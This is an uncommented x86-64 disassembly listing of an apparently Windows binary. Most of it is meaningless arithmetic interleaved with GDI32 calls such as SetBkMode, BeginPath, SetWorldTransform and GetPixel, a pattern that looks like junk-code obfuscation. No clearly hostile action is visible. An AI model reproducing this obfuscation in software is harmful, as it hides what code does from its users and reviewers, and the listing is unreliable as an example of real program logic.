movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
call fcn.1400b5160
jmp 0x14003bfe3
mov edx, 0x87
mov rcx, qword [rsp + 0x1358]
call qword [sym.imp.GDI32.dll_SetBkMode]
mov dword [rsp + 0x56a0], eax
jmp 0x14003c079
movsx eax, word [rsp + 0x4274]
mov dword [rsp + 0xb9dc], eax
cmp dword [rsp + 0xb9dc], 0
je 0x14003c05a
cmp dword [rsp + 0xb9dc], 0x7c7a
je 0x14003c010
jmp 0x14003c079
mov rcx, qword [rsp + 0x1a10]
mov eax, dword [0x1400f62d8]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1400f62d8]
shr eax, cl
mov dword [rsp + 0x99c0], eax
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
call fcn.1400b5940
jmp 0x14003c079
mov rax, qword [0x1400f62c8]
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0x6e48]
mov qword [rsp + 0x9b18], rax
mov dword [rsp + 0x3520], 0xd9a0
cmp dword [rsp + 0x1c30], 0x105f5
je 0x14003c32f
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rsp + 0x56a0]
or eax, ecx
mov dword [rsp + 0xee0], eax
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x6e48]
add rax, rcx
mov qword [0x1400f62d0], rax
mov eax, dword [rsp + 0xee0]
mov dword [rsp + 0x56a0], eax
mov rax, qword [rsp + 0x3430]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0xb31
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4c78]
movzx ecx, al
mov rax, qword [rsp + 0xa318]
shl rax, cl
mov qword [0x1400f62c8], rax
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
movzx eax, word [rsp + 0x15c4]
or eax, 0xa08
mov word [rsp + 0xa8b0], ax
mov ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x56a0]
mov eax, dword [rsp + 0xee0]
and eax, ecx
mov dword [rsp + 0x4af4], eax
mov eax, dword [rsp + 0x1c30]
add eax, 0xb4
mov dword [rsp + 0x1c30], eax
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x40d8], rax
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x6e48]
sub rax, rcx
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
movzx ecx, byte [0x1400f758a]
add ecx, 0xaf
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movzx eax, word [rsp + 0x15c4]
and eax, 0xda5
mov word [rsp + 0xa8b0], ax
jmp 0x14003c084
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x40d8], rax
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [0x1400f62d8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0xa8b0]
xor eax, 0x818
mov word [rsp + 0x15c4], ax
movzx ecx, byte [0x1400f758a]
and ecx, 0xed
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
add ecx, dword [0x1400f62d8]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x9238]
add ecx, dword [rax]
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rdx, qword [rsp + 0x9238]
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
and ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
movzx eax, word [rsp + 0x15c4]
sub eax, 0x7dc
mov word [rsp + 0xa8b0], ax
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
shl eax, 4
mov byte [0x1400f758a], al
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
movzx eax, word [rsp + 0xa8b0]
sar eax, 4
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x9238]
add ecx, dword [rax]
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x6e48]
and rax, rcx
mov qword [rsp + 0x9b18], rax
mov rcx, qword [rsp + 0x9238]
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rsp + 0x40d8]
sub rax, rcx
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
movzx eax, byte [0x1400f758a]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov eax, dword [rsp + 0x610]
sub eax, 0x79
mov dword [rsp + 0x610], eax
movzx eax, word [rsp + 0xa8b0]
add eax, 0x981
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov ecx, dword [0x1400f62d8]
and ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rsp + 0x40d8]
xor rax, rcx
mov qword [rsp + 0x4c78], rax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
or eax, ecx
mov dword [rsp + 0x99c0], eax
cmp dword [rsp + 0x610], 0x28ae
ja 0x14003c32f
mov eax, dword [rsp + 0xb360]
mov dword [rsp + 0xb9e0], eax
cmp dword [rsp + 0xb9e0], 0
je 0x14003c76f
cmp dword [rsp + 0xb9e0], 0x2a4443e3
je 0x14003c6ef
jmp 0x14003c7a2
movsx eax, word [rsp + 0x4274]
mov dword [rsp + 0xb9e4], eax
cmp dword [rsp + 0xb9e4], 0x4b84
je 0x14003c73b
cmp dword [rsp + 0xb9e4], 0x6987
je 0x14003c71a
jmp 0x14003c76d
mov ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
jmp 0x14003c76d
mov rax, qword [0x1400f62d0]
movzx ecx, al
mov rax, qword [rsp + 0x9b18]
shl rax, cl
mov qword [rsp + 0x6e48], rax
mov rcx, qword [rsp + 0xa18]
call qword [sym.imp.GDI32.dll_BeginPath]
mov dword [rsp + 0x288], eax
jmp 0x14003c7a2
movsx eax, byte [str.__._v]
cdq
mov ecx, 0x30
idiv ecx
mov byte [str.__._v], al
lea rax, [rsp + 0x15c4]
mov qword [rsp + 0x6f10], rax
movzx eax, byte [str.__._v]
mov byte [rsp + 0x2858], al
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
sub ecx, 0x2f
movzx eax, byte [0x1400f758a]
cmp ecx, eax
je 0x14003c8f7
mov rdx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x40d8]
mov rdx, qword [rdx]
sub rdx, rax
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rsp + 0xa318]
and rax, rcx
cmp rdx, rax
ja 0x14003c8d7
movzx edx, byte [0x1400f758a]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov dword [rsp + 0x8c98], 0x9153
mov rax, qword [rsp + 0x6e48]
mov qword [rsp + 0xb9e8], rax
movabs rax, 0x13732f4a6b375530
cmp qword [rsp + 0xb9e8], rax
je 0x14003c890
movabs rax, 0x25796b8d3ad8cd42
cmp qword [rsp + 0xb9e8], rax
je 0x14003c851
jmp 0x14003c8ca
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
lea rdx, [rsp + 0x9238]
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_SetWorldTransform]
mov dword [rsp + 0x7b50], eax
jmp 0x14003c8ca
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0xa318], rax
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov dword [rsp + 0xa8e8], 0x4df8
jmp 0x14003c8f7
mov r8d, 0x9c
mov edx, 0x22
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_GetPixel]
mov dword [rsp + 0x30e0], eax
mov dword [rsp + 0x38dc], 0xc9d4
mov eax, dword [rsp + 0x6c90]
sub eax, 0x88
mov dword [rsp + 0x6c90], eax
mov eax, dword [rsp + 0x99c0]
mov dword [rsp + 0x30e0], eax
movzx ecx, byte [0x1400f758a]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movsx edx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [0x1400f7f18]
movzx edx, byte [rax]
movzx eax, byte [0x1400f758a]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x4274], ax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x6e48]
and rax, rcx
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rsp + 0x4c78]
sub rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1a10]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movsx eax, byte [rsp + 0x2858]
and eax, 0x3f
mov byte [str.__._v], al
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa8b0]
add eax, ecx
mov word [rsp + 0x15c4], ax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x30e0]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6f10]
movzx edx, word [rax]
movzx eax, word [rsp + 0xa8b0]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x40d8]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x30e0]
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
or ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movsx eax, byte [rsp + 0x2858]
and eax, 3
mov byte [str.__._v], al
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x6e48]
sub rax, rcx
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [0x1400f62d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0x40d8]
mov rcx, qword [rsp + 0xa318]
sub rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x40d8]
mov rcx, qword [rsp + 0xa318]
add rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
cmp dword [rsp + 0x6c90], 0xab87
jae 0x14003c902
cmp dword [rsp + 0x4290], 0xf12b
je 0x14003d0f7
mov rax, qword [rsp + 0xa318]
mov rcx, qword [0x1400f62c8]
xor rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
movsx eax, byte [str.__._v]
or eax, 0xb
mov byte [rsp + 0x2858], al
movzx edx, byte [0x1400f758a]
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x40d8]
shr rax, cl
mov qword [rsp + 0xa318], rax
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x9b18]
and rax, rcx
mov qword [rsp + 0x6e48], rax
mov ecx, dword [0x1400f62d8]
mov eax, dword [rsp + 0x99c0]
add eax, ecx
mov dword [rsp + 0x30e0], eax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
movsx eax, byte [str.__._v]
add eax, 0x23
mov byte [rsp + 0x2858], al
mov rcx, qword [rsp + 0x6e48]
mov rax, qword [rsp + 0x9b18]
sub rax, rcx
mov qword [0x1400f62d0], rax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x6e48]
sub rax, rcx
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0x3430]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x40d8], rax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
xor ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shr rax, cl
mov qword [0x1400f62c8], rax
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9238]
add eax, dword [rcx]
mov dword [rsp + 0x30e0], eax
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov eax, dword [rsp + 0x4290]
add eax, 3
mov dword [rsp + 0x4290], eax
movzx ecx, word [rsp + 0x15c4]
movzx eax, word [rsp + 0xa8b0]
and ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx edx, byte [rsp + 0x2348]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [0x1400f758a], al
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
or eax, ecx
mov byte [rsp + 0x2348], al
movzx edx, word [rsp + 0x15c4]
movzx eax, word [rsp + 0xa8b0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
xor ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
movsx eax, byte [str.__._v]
sar eax, 6
mov byte [rsp + 0x2858], al
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0x56a0]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [0x1400f62c8]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov eax, dword [rsp + 0x30e0]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x6e48]
sub rax, rcx
mov qword [rsp + 0x9b18], rax
mov rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x6e48]
add rax, rcx
mov qword [0x1400f62d0], rax
movsx eax, byte [str.__._v]
add eax, 0x34
mov byte [rsp + 0x2858], al
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x40d8]
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
movsx eax, byte [str.__._v]
sub eax, 0x48
mov byte [rsp + 0x2858], al
jmp 0x14003cc88
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rsp + 0x30e0]
and ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1400f62d8]
shr eax, cl
mov dword [rsp + 0x99c0], eax
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x6e48]
xor rax, rcx
mov qword [rsp + 0x9b18], rax
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
movzx eax, byte [0x1400f758a]
or ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx edx, byte [0x1400f758a]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [0x1400f62c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x40d8], rax
mov ecx, dword [rsp + 0x56a0]
mov eax, dword [rsp + 0xee0]
sub eax, ecx
mov dword [rsp + 0xb360], eax
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x9b18]
sub rax, rcx
mov qword [rsp + 0x6e48], rax
mov eax, dword [rsp + 0x30e0]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movsx eax, byte [str.__._v]
add eax, 0x72
mov byte [rsp + 0x2858], al
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
sub eax, ecx
mov byte [rsp + 0x2348], al
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0xa8b0], ax
mov eax, dword [rsp + 0x82e8]
add eax, 0xd0
mov dword [rsp + 0x82e8], eax
movsx eax, byte [str.__._v]
or eax, 0x15
mov byte [rsp + 0x2858], al
mov ecx, dword [0x1400f62d8]
mov eax, dword [rsp + 0x30e0]
xor eax, ecx
mov dword [rsp + 0x99c0], eax
movzx edx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rsp + 0xa318]
and rax, rcx
mov qword [rsp + 0x40d8], rax
mov ecx, dword [rsp + 0x56a0]
mov eax, dword [rsp + 0xee0]
add eax, ecx
mov dword [rsp + 0x4af4], eax
mov rcx, qword [rsp + 0x6e48]
mov rax, qword [rsp + 0x9b18]
add rax, rcx
mov qword [0x1400f62d0], rax
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
and ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x4c78]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
sub ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
